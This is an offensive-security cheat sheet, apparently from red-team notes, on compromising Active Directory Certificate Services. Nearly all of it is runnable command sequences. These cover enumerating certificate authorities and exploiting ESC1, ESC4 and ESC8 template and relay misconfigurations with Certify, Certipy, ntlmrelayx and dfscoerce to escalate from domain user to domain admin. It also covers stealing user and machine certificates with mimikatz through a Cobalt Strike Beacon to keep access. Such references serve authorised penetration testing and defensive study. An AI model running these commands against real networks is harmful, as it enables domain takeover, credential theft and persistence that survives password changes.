Certificate Services (AD CS)

Active Directory Certificate Services (AD CS) is a server role that allows you to build a public key infrastructure (PKI). This can provide public key cryptography, digital certificates, and digital signature capabilities.

Misconfigurations can introduce security risks that actors can exploit - in this case, for privilege escalation (even domain user to domain admin) and persistence.

Automated Tool: https://github.com/grimlockx/ADCSKiller

Certificate Enumeration

execute-assembly C:\Tools\Certify\Certify\bin\Release\Certify.exe cas

crackmapexec ldap 'domaincontroller' -d 'domain' -u 'user' -p 'password' -M adcs

windapsearch -m custom --filter '(objectCategory=pKIEnrollmentService)' --base 'CN=Configuration,DC=domain,DC=local' --attrs dn,dnshostname --dc 'domaincontroller' -d 'domain.local' -u 'user' -p 'password'

ntlmrelayx -t "ldap://domaincontroller" --dump-adcs

Privilege Escalation (ESC1)

AD CS certificate templates are provided by Microsoft as a starting point for distributing certificates. They are designed to be duplicated and configured for specific needs. Misconfigurations within these templates can be abused for privilege escalation.

- With Certify

execute-assembly C:\Tools\Certify\Certify\bin\Release\Certify.exe find /vulnerable

If we have enrollment rights, that configuration allows us to request a certificate for any other domain user (including a domain admin) and use it for authentication:

execute-assembly C:\Tools\Certify\Certify\bin\Release\Certify.exe request /ca:{ca name} /template:{template name} /altname:{target user}

Then copy the whole certificate (both the private key and certificate) and save it to cert.pem on a Linux machine.

Then use the provided openssl command:

openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx

Now convert cert.pfx into a base64 encoded string so it can be used with Rubeus:

cat cert.pfx | base64 -w 0

Then request a TGT for the user using the certificate:

execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asktgt /user:{target user} /certificate:{certificate base64 string} /password:{password we choosed when exporting the certificate} /nowrap

- With Certipy

certipy find -u {user} -p {password} -dc-ip {dcIP}

grep -i Vuln -A1 {certipy-output}.txt

Then to exploit it:

certipy req -u {user} -p {password} -ca {CertificateAuthority} -target {CAHostname} -template {vulnTemplate} -upn {targetUsername} -dns {DNSServer}

certipy auth -pfx {file.pfx} -dc-ip {dcIP}

Privilege Escalation (ESC4)

certipy find -u {user} -p {password} -dc-ip {dcIP}

grep -i Vuln -A1 {certipy-output}.txt

Then to exploit it:

certipy template -u {user} -p {password} -template {template} -save-old -dc-ip {dcIP}

certipy req -u {user} -p {password} -ca {CA Name} -target {DNS Name} -template {template} -upn {target user} -dc-ip {dcIP}

certipy auth -pfx {file.pfx} -dc-ip {dcIP}

NTLM Relaying to ADCS HTTP Endpoints (ESC8)

AD CS services support HTTP enrolment methods and even includes a GUI. This endpoint is usually found at http[s]://<hostname>/certsrv.

If NTLM authentication is enabled, these endpoints are vulnerable to NTLM relay attacks. A common abuse method is to coerce a domain controller to authenticate to an attacker-controlled location, relay the request to a CA to obtain a certificate for that DC, and then use it to obtain a TGT.

- Automated way with Certipy:

First, locate ESC8 with Certipy:

certipy find -u {username} -p {password} -dc-ip {dc IP}

grep -i Vuln -A1 {certipy-output}.txt

If it is vulnerable to ESC8, the with Certipy we can automate the exploitation:

certipy relay -template DomainController -ca {hostname of the CA (DNS Name in certipy output)}

Then force the authentication to the relay:

./dfscoerce.py -u {username} -p {passowrd} {attackerIP} {targetIP}

Then, certipy will save a .pfx certificate, to obatian a hash with that certificate:

certipy auth -pfx {file.pfx} -dc-ip {dcIP}

  • Manual way with ntlmrelayx:

First, perform a ldap query:

ldapsearch -x -b "CN=Enrollment Services,CN=Public Key Services, CN=Services,cn=Configuration,dc=Company,dc=com" -H ldap://{ip} -D {username} -W "objectclass=pKIEnrollmentService" | tee CA-enum

grep -i template CA-enum

Then, verify the endpoint:

curl -I http://{dns hostname retrieved}/certsrv/

curl -I http://{dns hostname retrieved}/certsrv/certfnsh.asp

Check the WW-Authenticate: NTLM

Now set up the relay:

impacket-ntlmrelayx -debug -smb2support -t http://{hostname}/certsrv/certfnsh.asp --template DomainController --adcs

Then force the authentication:

./dfscoerce.py -u {username} -p {passowrd} {attackerIP} {targetIP}

execute-assembly C:\Tools\SharpSystemTriggers\SharpSpoolTrigger\bin\Release\SharpSpoolTrigger.exe {webserver IP} {target IP}

Then, the S4U2Self trick can be used to obtain usable TGS's to move laterally to it.

Also, it could be possible to do this without needing Rubeus:

./gettgtpkinit.py -pfx-base64 $(cat retrieved-cert) "DomainName/Machine$" "Machine.ccache" -dc-ip {dc-ip}

Now there are two options, the first one is using the .ccahe ticket to authenticate (Tickets on Linux). The other is using the output key from the previous command to grab a hash:

./getnthash.py Domain/machineName\$ -key {key} -dc-ip {dcIP}

User & Computer Persistence

Certificates can also be useful for maintaining persistent access to both users and computers, because they tend to have a longer shelf-life compared to passwords. For example, User certificates are valid for an entire year by default, regardless of password changes.

Certificates only become invalid if they're revoked by the CA (or expire). This also does not rely on any vulnerable templates. We can extract certificates that have already been issued, or just request new ones.

- User Persistence

User certificates that have already been issued can be found in the user's Personal Certificate store.

If we have a Beacon running on their machine, we can enumerate their certificates with Seatbelt.

Then to export certificates:

mimikatz crypto::certificates /export

Then we need to download the certificates in our linux machine, for example, in Cobalt Strike: View > Downloads to sync files from Cobalt Strike to your local machine.

After that, base64 encode the pfx file:

ubuntu@DESKTOP-3BSK7NO ~> cat /mnt/c/Users/Attacker/Desktop/CURRENT_USER_My_0_Nina\ Lamb.pfx | base64 -w 0

Then use it with Rubeus to obtain a TGT (The export password will be mimikatz):

execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asktgt /user:{target user} /certificate:{base64 certificate} /password:mimikatz /nowrap

This will request RC4 tickets by default, we can force the use of AES256 by including the /enctype:aes256 parameter.

If the user does not have a certificate in their store, we can just request one:

execute-assembly C:\Tools\Certify\Certify\bin\Release\Certify.exe request /ca:{ca name} /template:{template name}

- Computer Persistence

The same can be applied to computer accounts, but we must elevate to extract those certificates.

mimikatz !crypto::certificates /systemstore:local_machine /export

execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asktgt /user:{computer target} /enctype:aes256 /certificate:{base64 certificate} /password:mimikatz /nowrap

To request a machine certificate:

execute-assembly C:\Tools\Certify\Certify\bin\Release\Certify.exe request /ca:{ca name} /template:{template name} /machine

- Forged Certificates

We can create Forged Certificates to gain domain dominance.

Last updated